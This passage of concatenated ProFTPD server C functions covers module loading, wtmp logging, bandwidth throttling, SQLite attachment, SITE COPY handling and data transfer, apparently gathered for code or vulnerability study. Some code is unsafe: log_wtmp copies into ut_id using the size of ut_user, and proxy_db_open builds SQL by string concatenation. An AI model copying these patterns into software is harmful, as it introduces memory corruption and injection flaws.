$prefix/libexec/<module> */ path = pdircat(dso_pool, dso_module_path, name, NULL); pr_trace_msg(trace_channel, 5, "loading module '%s'", path); mh = lt_dlopenadvise(path, advise); if (mh == NULL) { *tmp = '.'; pr_log_debug(DEBUG3, MOD_DSO_VERSION ": unable to dlopen '%s': %s (%s)", name, lt_dlerror(), strerror(errno)); pr_log_debug(DEBUG3, MOD_DSO_VERSION ": defaulting to 'self' for symbol resolution"); lt_dladvise_destroy(&advise); mh = lt_dlopen(NULL); if (mh == NULL) { pr_log_debug(DEBUG0, MOD_DSO_VERSION ": error loading 'self': %s", lt_dlerror()); if (errno == ENOENT) { pr_log_pri(PR_LOG_NOTICE, MOD_DSO_VERSION ": check to see if '%s.la' exists", path); } return -1; } } lt_dladvise_destroy(&advise); /* Tease name of the module structure out of the given name: * <module>.<ext> --> <module>_module */ *tmp = '\0'; symbol_name = pstrcat(dso_pool, name+4, "_module", NULL); /* Lookup module structure symbol by name. */ pr_trace_msg(trace_channel, 7, "looking for symbol '%s' in loaded module", symbol_name); m = (module *) lt_dlsym(mh, symbol_name); if (m == NULL) { *tmp = '.'; pr_log_debug(DEBUG1, MOD_DSO_VERSION ": unable to find module symbol '%s' in '%s'", symbol_name, mh ? name : "self"); pr_trace_msg(trace_channel, 1, "unable to find module symbol '%s' in '%s'", symbol_name, mh ? name : "self"); lt_dlclose(mh); mh = NULL; if (errno == ENOENT) { pr_log_pri(PR_LOG_NOTICE, MOD_DSO_VERSION ": check to see if '%s.la' exists", path); } return -1; } *tmp = '.'; m->handle = mh; /* Add the module to the core structures */ res = pr_module_load(m); if (res < 0) { if (errno == EEXIST) { pr_log_pri(PR_LOG_INFO, MOD_DSO_VERSION ": module 'mod_%s.c' already loaded", m->name); pr_trace_msg(trace_channel, 1, "module 'mod_%s.c' already loaded", m->name); } else if (errno == EACCES) { pr_log_pri(PR_LOG_ERR, MOD_DSO_VERSION ": module 'mod_%s.c' has wrong API version (0x%x), must be 0x%x", m->name, m->api_version, PR_MODULE_API_VERSION); pr_trace_msg(trace_channel, 1, "module 'mod_%s.c' has wrong API version (0x%x), must be 0x%x", m->name, m->api_version, PR_MODULE_API_VERSION); } else if (errno == EPERM) { pr_log_pri(PR_LOG_ERR, MOD_DSO_VERSION ": module 'mod_%s.c' failed to initialize", m->name); pr_trace_msg(trace_channel, 1, "module 'mod_%s.c' failed to initialize", m->name); } lt_dlclose(mh); mh = NULL; return -1; } pr_trace_msg(trace_channel, 8, "module '%s' successfully loaded", path); return 0; }
int log_wtmp(const char *line, const char *name, const char *host, pr_netaddr_t *ip) { struct stat buf; int res = 0; #if ((defined(SVR4) || defined(__SVR4)) || \ (defined(__NetBSD__) && defined(HAVE_UTMPX_H)) || \ (defined(__FreeBSD_version) && __FreeBSD_version >= 900007 && defined(HAVE_UTMPX_H))) && \ !(defined(LINUX) || defined(__hpux) || defined (_AIX)) /* This "auxilliary" utmp doesn't exist under linux. */ #if defined(__sparcv9) && !defined(__NetBSD__) && !defined(__FreeBSD__) struct futmpx utx; time_t t; #else struct utmpx utx; #endif static int fdx = -1; #if !defined(WTMPX_FILE) # if defined(_PATH_WTMPX) # define WTMPX_FILE _PATH_WTMPX # elif defined(_PATH_UTMPX) # define WTMPX_FILE _PATH_UTMPX # else /* This path works for FreeBSD; not sure what to do for other platforms which * don't define _PATH_WTMPX or _PATH_UTMPX. */ # define WTMPX_FILE "/var/log/utx.log" # endif #endif if (fdx < 0 && (fdx = open(WTMPX_FILE, O_WRONLY|O_APPEND, 0)) < 0) { int xerrno = errno; pr_log_pri(PR_LOG_WARNING, "failed to open wtmpx %s: %s", WTMPX_FILE, strerror(xerrno)); errno = xerrno; return -1; } (void) pr_fs_get_usable_fd2(&fdx); /* Unfortunately, utmp string fields are terminated by '\0' if they are * shorter than the size of the field, but if they are exactly the size of * the field they don't have to be terminated at all. Frankly, this sucks. * Insane if you ask me. Unless there's massive uproar, I prefer to err on * the side of caution and always null-terminate our strings. */ if (fstat(fdx, &buf) == 0) { memset(&utx, 0, sizeof(utx)); sstrncpy(utx.ut_user, name, sizeof(utx.ut_user)); sstrncpy(utx.ut_id, pr_session_get_protocol(PR_SESS_PROTO_FL_LOGOUT), sizeof(utx.ut_user)); sstrncpy(utx.ut_line, line, sizeof(utx.ut_line)); sstrncpy(utx.ut_host, host, sizeof(utx.ut_host)); utx.ut_pid = session.pid ? session.pid : getpid(); #if defined(__NetBSD__) && defined(HAVE_UTMPX_H) memcpy(&utx.ut_ss, pr_netaddr_get_inaddr(ip), sizeof(utx.ut_ss)); gettimeofday(&utx.ut_tv, NULL); #elif defined(__FreeBSD_version) && __FreeBSD_version >= 900007 && defined(HAVE_UTMPX_H) gettimeofday(&utx.ut_tv, NULL); #else /* SVR4 */ utx.ut_syslen = strlen(utx.ut_host)+1; # if defined(__sparcv9) && !defined(__FreeBSD__) time(&t); utx.ut_tv.tv_sec = (time32_t)t; # else time(&utx.ut_tv.tv_sec); # endif #endif /* SVR4 */ if (*name) utx.ut_type = USER_PROCESS; else utx.ut_type = DEAD_PROCESS; #ifdef HAVE_UT_UT_EXIT utx.ut_exit.e_termination = 0; utx.ut_exit.e_exit = 0; #endif /* HAVE_UT_UT_EXIT */ if (write(fdx, (char *) &utx, sizeof(utx)) != sizeof(utx)) { (void) ftruncate(fdx, buf.st_size); } } else { pr_log_debug(DEBUG0, "%s fstat(): %s", WTMPX_FILE, strerror(errno)); res = -1; } #else /* Non-SVR4 systems */ struct utmp ut; static int fd = -1; if (fd < 0 && (fd = open(WTMP_FILE, O_WRONLY|O_APPEND, 0)) < 0) { int xerrno = errno; pr_log_pri(PR_LOG_WARNING, "failed to open wtmp %s: %s", WTMP_FILE, strerror(xerrno)); errno = xerrno; return -1; } (void) pr_fs_get_usable_fd2(&fd); if (fstat(fd, &buf) == 0) { memset(&ut, 0, sizeof(ut)); #ifdef HAVE_UTMAXTYPE # ifdef LINUX if (ip) # ifndef PR_USE_IPV6 memcpy(&ut.ut_addr, pr_netaddr_get_inaddr(ip), sizeof(ut.ut_addr)); # else memcpy(&ut.ut_addr_v6, pr_netaddr_get_inaddr(ip), sizeof(ut.ut_addr_v6)); # endif /* !PR_USE_IPV6 */ # else sstrncpy(ut.ut_id, pr_session_get_protocol(PR_SESS_PROTO_FL_LOGOUT), sizeof(ut.ut_id)); # ifdef HAVE_UT_UT_EXIT ut.ut_exit.e_termination = 0; ut.ut_exit.e_exit = 0; # endif /* !HAVE_UT_UT_EXIT */ # endif /* !LINUX */ sstrncpy(ut.ut_line, line, sizeof(ut.ut_line)); if (name && *name) sstrncpy(ut.ut_user, name, sizeof(ut.ut_user)); ut.ut_pid = session.pid ? session.pid : getpid(); if (name && *name) ut.ut_type = USER_PROCESS; else ut.ut_type = DEAD_PROCESS; #else /* !HAVE_UTMAXTYPE */ sstrncpy(ut.ut_line, line, sizeof(ut.ut_line)); if (name && *name) { sstrncpy(ut.ut_name, name, sizeof(ut.ut_name)); } #endif /* HAVE_UTMAXTYPE */ #ifdef HAVE_UT_UT_HOST if (host && *host) { sstrncpy(ut.ut_host, host, sizeof(ut.ut_host)); } #endif /* HAVE_UT_UT_HOST */ ut.ut_time = time(NULL); if (write(fd, (char *) &ut, sizeof(ut)) != sizeof(ut)) { if (ftruncate(fd, buf.st_size) < 0) { pr_log_debug(DEBUG0, "error truncating '%s': %s", WTMP_FILE, strerror(errno)); } } } else { pr_log_debug(DEBUG0, "%s fstat(): %s", WTMP_FILE, strerror(errno)); res = -1; } #endif /* SVR4 */ return res; }
/* usage: ModuleOrder mod1 mod2 ... modN */ MODRET set_moduleorder(cmd_rec *cmd) { register unsigned int i; module *m, *mn, *module_list = NULL; if (cmd->argc-1 < 1) CONF_ERROR(cmd, "wrong number of parameters"); CHECK_CONF(cmd, CONF_ROOT); /* What about duplicate names in the list? * * What if the given list is longer than the one already in loaded_modules? * This will be caught by the existence check. Otherwise, the only way for * the list to be longer is if there are duplicates, which will be caught * by the duplicate check. */ /* Make sure the given module names exist. */ for (i = 1; i < cmd->argc; i++) { if (pr_module_get(cmd->argv[i]) == NULL) CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "no such module '", cmd->argv[i], "' loaded", NULL)); } /* Make sure there are no duplicate module names in the list. */ for (i = 1; i < cmd->argc; i++) { register unsigned int j; for (j = i + 1; j < cmd->argc; j++) { if (strcmp(cmd->argv[i], cmd->argv[j]) == 0) { char ibuf[4], jbuf[4]; snprintf(ibuf, sizeof(ibuf), "%u", i); ibuf[sizeof(ibuf)-1] = '\0'; snprintf(jbuf, sizeof(jbuf), "%u", j); jbuf[sizeof(jbuf)-1] = '\0'; CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "duplicate module name '", cmd->argv[i], "' as parameters ", ibuf, " and ", jbuf, NULL)); } } } pr_log_debug(DEBUG4, "%s: reordering modules", cmd->argv[0]); for (i = 1; i < cmd->argc; i++) { m = pr_module_get(cmd->argv[i]); if (module_list) { m->next = module_list; module_list->prev = m; module_list = m; } else module_list = m; } /* Now, unload all the modules in the loaded_modules list, then load * the modules in our module_list. */ for (m = loaded_modules; m;) { mn = m->next; if (pr_module_unload(m) < 0) { pr_log_debug(DEBUG0, "%s: error unloading module 'mod_%s.c': %s", cmd->argv[0], m->name, strerror(errno)); } m = mn; } for (m = module_list; m; m = m->next) { if (pr_module_load(m) < 0) { pr_log_debug(DEBUG0, "%s: error loading module 'mod_%s.c': %s", cmd->argv[0], m->name, strerror(errno)); exit(1); } } pr_log_pri(PR_LOG_NOTICE, "module order is now:"); for (m = loaded_modules; m; m = m->next) { pr_log_pri(PR_LOG_NOTICE, " mod_%s.c", m->name); } return PR_HANDLED(cmd); }
void pr_throttle_init(cmd_rec *cmd) { config_rec *c = NULL; char *xfer_cmd = NULL; unsigned char have_user_rate = FALSE, have_group_rate = FALSE, have_class_rate = FALSE; unsigned int precedence = 0; /* Make sure the variables are (re)initialized */ xfer_rate_kbps = xfer_rate_bps = 0.0; xfer_rate_freebytes = 0; xfer_rate_scoreboard_updates = 0; have_xfer_rate = FALSE; c = find_config(CURRENT_CONF, CONF_PARAM, "TransferRate", FALSE); /* Note: need to cycle through all the matching config_recs, and using * the information from the current config_rec only if it matches * the target *and* has a higher precedence than any of the previously * found config_recs. */ while (c) { char **cmdlist = (char **) c->argv[0]; int matched_cmd = FALSE; pr_signals_handle(); /* Does this TransferRate apply to the current command? Note: this * could be made more efficient by using bitmasks rather than string * comparisons. */ for (xfer_cmd = *cmdlist; xfer_cmd; xfer_cmd = *(cmdlist++)) { if (strcasecmp(xfer_cmd, cmd->argv[0]) == 0) { matched_cmd = TRUE; break; } } /* No -- continue on to the next TransferRate. */ if (!matched_cmd) { c = find_config_next(c, c->next, CONF_PARAM, "TransferRate", FALSE); continue; } if (c->argc > 4) { if (strncmp(c->argv[4], "user", 5) == 0) { if (pr_expr_eval_user_or((char **) &c->argv[5]) == TRUE && *((unsigned int *) c->argv[3]) > precedence) { /* Set the precedence. */ precedence = *((unsigned int *) c->argv[3]); xfer_rate_kbps = *((long double *) c->argv[1]); xfer_rate_freebytes = *((off_t *) c->argv[2]); have_xfer_rate = TRUE; have_user_rate = TRUE; have_group_rate = have_class_rate = FALSE; } } else if (strncmp(c->argv[4], "group", 6) == 0) { if (pr_expr_eval_group_and((char **) &c->argv[5]) == TRUE && *((unsigned int *) c->argv[3]) > precedence) { /* Set the precedence. */ precedence = *((unsigned int *) c->argv[3]); xfer_rate_kbps = *((long double *) c->argv[1]); xfer_rate_freebytes = *((off_t *) c->argv[2]); have_xfer_rate = TRUE; have_group_rate = TRUE; have_user_rate = have_class_rate = FALSE; } } else if (strncmp(c->argv[4], "class", 6) == 0) { if (pr_expr_eval_class_or((char **) &c->argv[5]) == TRUE && *((unsigned int *) c->argv[3]) > precedence) { /* Set the precedence. */ precedence = *((unsigned int *) c->argv[3]); xfer_rate_kbps = *((long double *) c->argv[1]); xfer_rate_freebytes = *((off_t *) c->argv[2]); have_xfer_rate = TRUE; have_class_rate = TRUE; have_user_rate = have_group_rate = FALSE; } } } else { if (*((unsigned int *) c->argv[3]) > precedence) { /* Set the precedence. */ precedence = *((unsigned int *) c->argv[3]); xfer_rate_kbps = *((long double *) c->argv[1]); xfer_rate_freebytes = *((off_t *) c->argv[2]); have_xfer_rate = TRUE; have_user_rate = have_group_rate = have_class_rate = FALSE; } } c = find_config_next(c, c->next, CONF_PARAM, "TransferRate", FALSE); } /* Print out a helpful debugging message. */ if (have_xfer_rate) { pr_log_debug(DEBUG3, "TransferRate (%.3Lf KB/s, %" PR_LU " bytes free) in effect%s", xfer_rate_kbps, (pr_off_t) xfer_rate_freebytes, have_user_rate ? " for current user" : have_group_rate ? " for current group" : have_class_rate ? " for current class" : ""); /* Convert the configured Kbps to bytes per usec, for use later. * The 1024.0 factor converts for Kbytes to bytes, and the * 1000000.0 factor converts from secs to usecs. */ xfer_rate_bps = xfer_rate_kbps * 1024.0; } }
void pr_throttle_pause(off_t xferlen, int xfer_ending) { long ideal = 0, elapsed = 0; off_t orig_xferlen = xferlen; if (XFER_ABORTED) { return; } /* Calculate the time interval since the transfer of data started. */ elapsed = xfer_rate_since(&session.xfer.start_time); /* Perform no throttling if no throttling has been configured. */ if (!have_xfer_rate) { xfer_rate_scoreboard_updates++; if (xfer_ending || xfer_rate_scoreboard_updates % PR_TUNABLE_XFER_SCOREBOARD_UPDATES == 0) { /* Update the scoreboard. */ pr_scoreboard_entry_update(session.pid, PR_SCORE_XFER_LEN, orig_xferlen, PR_SCORE_XFER_ELAPSED, (unsigned long) elapsed, NULL); xfer_rate_scoreboard_updates = 0; } return; } /* Give credit for any configured freebytes. */ if (xferlen > 0 && xfer_rate_freebytes > 0) { if (xferlen > xfer_rate_freebytes) { /* Decrement the number of bytes transferred by the freebytes, so that * any throttling does not take into account the freebytes. */ xferlen -= xfer_rate_freebytes; } else { xfer_rate_scoreboard_updates++; /* The number of bytes transferred is less than the freebytes. Just * update the scoreboard -- no throttling needed. */ if (xfer_ending || xfer_rate_scoreboard_updates % PR_TUNABLE_XFER_SCOREBOARD_UPDATES == 0) { pr_scoreboard_entry_update(session.pid, PR_SCORE_XFER_LEN, orig_xferlen, PR_SCORE_XFER_ELAPSED, (unsigned long) elapsed, NULL); xfer_rate_scoreboard_updates = 0; } return; } } ideal = xferlen * 1000L / xfer_rate_bps; if (ideal > elapsed) { struct timeval tv; /* Setup for the select. We use select() instead of usleep() because it * seems to be far more portable across platforms. * * ideal and elapsed are in milleconds, but tv_usec will be microseconds, * so be sure to convert properly. */ tv.tv_usec = (ideal - elapsed) * 1000; tv.tv_sec = tv.tv_usec / 1000000L; tv.tv_usec = tv.tv_usec % 1000000L; pr_log_debug(DEBUG7, "transferring too fast, delaying %ld sec%s, %ld usecs", (long int) tv.tv_sec, tv.tv_sec == 1 ? "" : "s", (long int) tv.tv_usec); /* No interruptions, please... */ xfer_rate_sigmask(TRUE); if (select(0, NULL, NULL, NULL, &tv) < 0) { int xerrno = errno; if (XFER_ABORTED) { pr_log_pri(PR_LOG_NOTICE, "throttling interrupted, transfer aborted"); xfer_rate_sigmask(FALSE); return; } /* At this point, we've probably been interrupted by one of the few * signals not masked off, e.g. SIGTERM. */ pr_log_debug(DEBUG0, "unable to throttle bandwidth: %s", strerror(xerrno)); } xfer_rate_sigmask(FALSE); pr_signals_handle(); /* Update the scoreboard. */ pr_scoreboard_entry_update(session.pid, PR_SCORE_XFER_LEN, orig_xferlen, PR_SCORE_XFER_ELAPSED, (unsigned long) ideal, NULL); } else { /* Update the scoreboard. */ pr_scoreboard_entry_update(session.pid, PR_SCORE_XFER_LEN, orig_xferlen, PR_SCORE_XFER_ELAPSED, (unsigned long) elapsed, NULL); } return; }
int proxy_db_open(pool *p, const char *table_path, const char *schema_name) { int res; pool *tmp_pool; const char *stmt; if (p == NULL || table_path == NULL) { errno = EINVAL; return -1; } /* If we already have a database handle open, then attach the given * path to our handle. Otherwise, open/create the database file first. */ if (proxy_dbh == NULL) { res = sqlite3_open(table_path, &proxy_dbh); if (res != SQLITE_OK) { pr_log_debug(DEBUG0, MOD_PROXY_VERSION ": error opening SQLite database '%s': %s", table_path, sqlite3_errmsg(proxy_dbh)); errno = EPERM; return -1; } /* Tell SQLite to only use in-memory journals. This is necessary for * working properly when a chroot is used. Note that the MEMORY journal * mode of SQLite is supported only for SQLite-3.6.5 and later. */ res = sqlite3_exec(proxy_dbh, "PRAGMA journal_mode = MEMORY;", NULL, NULL, NULL); if (res != SQLITE_OK) { pr_trace_msg(trace_channel, 2, "error setting MEMORY journal mode on SQLite database '%s': %s", table_path, sqlite3_errmsg(proxy_dbh)); } if (pr_trace_get_level(trace_channel) >= PROXY_DB_SQLITE_TRACE_LEVEL) { sqlite3_trace(proxy_dbh, db_trace, NULL); } prepared_stmts = pr_table_nalloc(db_pool, 0, 4); } tmp_pool = make_sub_pool(p); stmt = pstrcat(tmp_pool, "ATTACH DATABASE '", table_path, "' AS ", schema_name, ";", NULL); res = sqlite3_exec(proxy_dbh, stmt, NULL, NULL, NULL); if (res != SQLITE_OK) { pr_trace_msg(trace_channel, 2, "error attaching database '%s' (as '%s') to existing SQLite handle " "using '%s': %s", table_path, schema_name, stmt, sqlite3_errmsg(proxy_dbh)); destroy_pool(tmp_pool); errno = EPERM; return -1; } destroy_pool(tmp_pool); return 0; }
static int copy_paths(pool *p, const char *from, const char *to) { struct stat st; int res; xaset_t *set; set = get_dir_ctxt(p, (char *) to); res = pr_filter_allow_path(set, to); switch (res) { case 0: break; case PR_FILTER_ERR_FAILS_ALLOW_FILTER: pr_log_debug(DEBUG7, MOD_COPY_VERSION ": path '%s' denied by PathAllowFilter", to); errno = EPERM; return -1; case PR_FILTER_ERR_FAILS_DENY_FILTER: pr_log_debug(DEBUG7, MOD_COPY_VERSION ": path '%s' denied by PathDenyFilter", to); errno = EPERM; return -1; } /* Check whether from is a file, a directory, a symlink, or something * unsupported. */ res = pr_fsio_lstat(from, &st); if (res < 0) { int xerrno = errno; pr_log_debug(DEBUG7, MOD_COPY_VERSION ": error checking '%s': %s", from, strerror(xerrno)); errno = xerrno; return -1; } if (S_ISREG(st.st_mode)) { char *abs_path; pr_fs_clear_cache2(to); res = pr_fsio_stat(to, &st); if (res == 0) { unsigned char *allow_overwrite; allow_overwrite = get_param_ptr(CURRENT_CONF, "AllowOverwrite", FALSE); if (allow_overwrite == NULL || *allow_overwrite == FALSE) { pr_log_debug(DEBUG6, MOD_COPY_VERSION ": AllowOverwrite permission denied for '%s'", to); errno = EACCES; return -1; } } res = pr_fs_copy_file(from, to); if (res < 0) { int xerrno = errno; pr_log_debug(DEBUG7, MOD_COPY_VERSION ": error copying file '%s' to '%s': %s", from, to, strerror(xerrno)); errno = xerrno; return -1; } pr_fs_clear_cache2(to); if (pr_fsio_stat(to, &st) < 0) { pr_trace_msg(trace_channel, 3, "error stat'ing '%s': %s", to, strerror(errno)); } /* Write a TransferLog entry as well. */ abs_path = dir_abs_path(p, to, TRUE); if (session.sf_flags & SF_ANON) { xferlog_write(0, session.c->remote_name, st.st_size, abs_path, (session.sf_flags & SF_ASCII ? 'a' : 'b'), 'd', 'a', session.anon_user, 'c', "_"); } else { xferlog_write(0, session.c->remote_name, st.st_size, abs_path, (session.sf_flags & SF_ASCII ? 'a' : 'b'), 'd', 'r', session.user, 'c', "_"); } } else if (S_ISDIR(st.st_mode)) { res = create_path(p, to); if (res < 0) { int xerrno = errno; pr_log_debug(DEBUG7, MOD_COPY_VERSION ": error creating path '%s': %s", to, strerror(xerrno)); errno = xerrno; return -1; } res = copy_dir(p, from, to); if (res < 0) { int xerrno = errno; pr_log_debug(DEBUG7, MOD_COPY_VERSION ": error copying directory '%s' to '%s': %s", from, to, strerror(xerrno)); errno = xerrno; return -1; } } else if (S_ISLNK(st.st_mode)) { pr_fs_clear_cache2(to); res = pr_fsio_stat(to, &st); if (res == 0) { unsigned char *allow_overwrite; allow_overwrite = get_param_ptr(CURRENT_CONF, "AllowOverwrite", FALSE); if (allow_overwrite == NULL || *allow_overwrite == FALSE) { pr_log_debug(DEBUG6, MOD_COPY_VERSION ": AllowOverwrite permission denied for '%s'", to); errno = EACCES; return -1; } } res = copy_symlink(p, from, to); if (res < 0) { int xerrno = errno; pr_log_debug(DEBUG7, MOD_COPY_VERSION ": error copying symlink '%s' to '%s': %s", from, to, strerror(xerrno)); errno = xerrno; return -1; } } else { pr_log_debug(DEBUG7, MOD_COPY_VERSION ": unsupported file type for '%s'", from); errno = EINVAL; return -1; } return 0; }
static int data_pasv_open(char *reason, off_t size) { conn_t *c; int rev; if (!reason && session.xfer.filename) reason = session.xfer.filename; /* Set the "stalled" timer, if any, to prevent the connection * open from taking too long */ if (timeout_stalled) { pr_timer_add(timeout_stalled, PR_TIMER_STALLED, NULL, stalled_timeout_cb, "TimeoutStalled"); } /* We save the state of our current disposition for doing reverse * lookups, and then set it to what the configuration wants it to * be. */ rev = pr_netaddr_set_reverse_dns(ServerUseReverseDNS); /* Protocol and socket options should be set before handshaking. */ if (session.xfer.direction == PR_NETIO_IO_RD) { pr_inet_set_socket_opts(session.d->pool, session.d, (main_server->tcp_rcvbuf_override ? main_server->tcp_rcvbuf_len : 0), 0); } else { pr_inet_set_socket_opts(session.d->pool, session.d, 0, (main_server->tcp_sndbuf_override ? main_server->tcp_sndbuf_len : 0)); } c = pr_inet_accept(session.pool, session.d, session.c, -1, -1, TRUE); pr_netaddr_set_reverse_dns(rev); if (c && c->mode != CM_ERROR) { pr_inet_close(session.pool, session.d); pr_inet_set_nonblock(session.pool, c); session.d = c; pr_log_debug(DEBUG4, "passive data connection opened - local : %s:%d", pr_netaddr_get_ipstr(session.d->local_addr), session.d->local_port); pr_log_debug(DEBUG4, "passive data connection opened - remote : %s:%d", pr_netaddr_get_ipstr(session.d->remote_addr), session.d->remote_port); if (session.xfer.xfer_type != STOR_UNIQUE) { if (size) { pr_response_send(R_150, _("Opening %s mode data connection for %s " "(%" PR_LU " bytes)"), MODE_STRING, reason, (pr_off_t) size); } else { pr_response_send(R_150, _("Opening %s mode data connection for %s"), MODE_STRING, reason); } } else { /* Format of 150 responses for STOU is explicitly dictated by * RFC 1123: * * 4.1.2.9 STOU Command: RFC-959 Section 4.1.3 * * The STOU command stores into a uniquely named file. When it * receives an STOU command, a Server-FTP MUST return the * actual file name in the "125 Transfer Starting" or the "150 * Opening Data Connection" message that precedes the transfer * (the 250 reply code mentioned in RFC-959 is incorrect). The * exact format of these messages is hereby defined to be as * follows: * * 125 FILE: pppp * 150 FILE: pppp * * where pppp represents the unique pathname of the file that * will be written. */ pr_response_send(R_150, "FILE: %s", reason); } return 0; } /* Check for error conditions. */ if (c && c->mode == CM_ERROR) pr_log_pri(PR_LOG_ERR, "Error: unable to accept an incoming data " "connection (%s)", strerror(c->xerrno)); pr_response_add_err(R_425, _("Unable to build data connection: %s"), strerror(session.d->xerrno)); destroy_pool(session.d->pool); session.d = NULL; return -1; }
MODRET copy_copy(cmd_rec *cmd) { if (copy_engine == FALSE) { return PR_DECLINED(cmd); } if (cmd->argc < 2) { return PR_DECLINED(cmd); } if (strncasecmp(cmd->argv[1], "COPY", 5) == 0) { char *cmd_name, *decoded_path, *from, *to; unsigned char *authenticated; if (cmd->argc != 4) { return PR_DECLINED(cmd); } authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE); if (authenticated == NULL || *authenticated == FALSE) { pr_response_add_err(R_530, _("Please login with USER and PASS")); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } /* XXX What about paths which contain spaces? */ decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[2], FSIO_DECODE_FL_TELL_ERRORS); if (decoded_path == NULL) { int xerrno = errno; pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s", (char *) cmd->argv[2], strerror(xerrno)); pr_response_add_err(R_550, _("%s: Illegal character sequence in filename"), (char *) cmd->argv[2]); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } from = dir_canonical_vpath(cmd->tmp_pool, decoded_path); decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[3], FSIO_DECODE_FL_TELL_ERRORS); if (decoded_path == NULL) { int xerrno = errno; pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s", (char *) cmd->argv[3], strerror(xerrno)); pr_response_add_err(R_550, _("%s: Illegal character sequence in filename"), (char *) cmd->argv[3]); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } to = dir_canonical_vpath(cmd->tmp_pool, decoded_path); cmd_name = cmd->argv[0]; pr_cmd_set_name(cmd, "SITE_COPY"); if (!dir_check(cmd->tmp_pool, cmd, G_WRITE, to, NULL)) { int xerrno = EPERM; pr_cmd_set_name(cmd, cmd_name); pr_response_add_err(R_550, "%s: %s", (char *) cmd->argv[3], strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } pr_cmd_set_name(cmd, cmd_name); if (copy_paths(cmd->tmp_pool, from, to) < 0) { int xerrno = errno; pr_response_add_err(R_550, "%s: %s", (char *) cmd->argv[1], strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } pr_response_add(R_200, _("SITE %s command successful"), (char *) cmd->argv[1]); return PR_HANDLED(cmd); } if (strncasecmp(cmd->argv[1], "HELP", 5) == 0) { pr_response_add(R_214, _("CPFR <sp> pathname")); pr_response_add(R_214, _("CPTO <sp> pathname")); } return PR_DECLINED(cmd); }
int pr_data_xfer(char *cl_buf, int cl_size) { int len = 0; int total = 0; int res = 0; /* Poll the control channel for any commands we should handle, like * QUIT or ABOR. */ pr_trace_msg(trace_channel, 4, "polling for commands on control channel"); pr_netio_set_poll_interval(session.c->instrm, 0); res = pr_netio_poll(session.c->instrm); pr_netio_reset_poll_interval(session.c->instrm); if (res == 0 && !(session.sf_flags & SF_ABORT)) { cmd_rec *cmd = NULL; pr_trace_msg(trace_channel, 1, "data available for reading on control channel during data transfer, " "reading control data"); res = pr_cmd_read(&cmd); if (res < 0) { int xerrno; #if defined(ECONNABORTED) xerrno = ECONNABORTED; #elif defined(ENOTCONN) xerrno = ENOTCONN; #else xerrno = EIO; #endif pr_trace_msg(trace_channel, 1, "unable to read control command during data transfer: %s", strerror(xerrno)); errno = xerrno; #ifndef PR_DEVEL_NO_DAEMON /* Otherwise, EOF */ pr_session_disconnect(NULL, PR_SESS_DISCONNECT_CLIENT_EOF, NULL); #else return -1; #endif /* PR_DEVEL_NO_DAEMON */ } else if (cmd != NULL) { char *ch; for (ch = cmd->argv[0]; *ch; ch++) *ch = toupper(*ch); cmd->cmd_id = pr_cmd_get_id(cmd->argv[0]); /* Only handle commands which do not involve data transfers; we * already have a data transfer in progress. For any data transfer * command, send a 450 ("busy") reply. Looks like almost all of the * data transfer commands accept that response, as per RFC959. * * We also prevent the EPRT, EPSV, PASV, and PORT commands, since * they will also interfere with the current data transfer. In doing * so, we break RFC compliance a little; RFC959 does not allow a * response code of 450 for those commands (although it should). */ if (pr_cmd_cmp(cmd, PR_CMD_APPE_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_LIST_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_MLSD_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_NLST_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RETR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_STOR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_STOU_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RNFR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RNTO_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_PORT_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_EPRT_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_PASV_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_EPSV_ID) == 0) { pool *resp_pool; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, denying", cmd->argv[0]); resp_list = resp_err_list = NULL; resp_pool = pr_response_get_pool(); pr_response_set_pool(cmd->pool); pr_response_add_err(R_450, _("%s: data transfer in progress"), cmd->argv[0]); pr_response_flush(&resp_err_list); destroy_pool(cmd->pool); pr_response_set_pool(resp_pool); /* We don't want to actually dispatch the NOOP command, since that * would overwrite the scoreboard with the NOOP state; admins probably * want to see the command that caused the data transfer. And since * NOOP doesn't take a 450 response (as per RFC959), we will simply * return 200. */ } else if (pr_cmd_cmp(cmd, PR_CMD_NOOP_ID) == 0) { pool *resp_pool; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, ignoring", cmd->argv[0]); resp_list = resp_err_list = NULL; resp_pool = pr_response_get_pool(); pr_response_set_pool(cmd->pool); pr_response_add(R_200, _("%s: data transfer in progress"), cmd->argv[0]); pr_response_flush(&resp_list); destroy_pool(cmd->pool); pr_response_set_pool(resp_pool); } else { char *title_buf = NULL; int title_len = -1; const char *sce_cmd = NULL, *sce_cmd_arg = NULL; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, dispatching", cmd->argv[0]); title_len = pr_proctitle_get(NULL, 0); if (title_len > 0) { title_buf = pcalloc(cmd->pool, title_len + 1); pr_proctitle_get(title_buf, title_len + 1); } sce_cmd = pr_scoreboard_entry_get(PR_SCORE_CMD); sce_cmd_arg = pr_scoreboard_entry_get(PR_SCORE_CMD_ARG); pr_cmd_dispatch(cmd); pr_scoreboard_entry_update(session.pid, PR_SCORE_CMD, "%s", sce_cmd, NULL, NULL); pr_scoreboard_entry_update(session.pid, 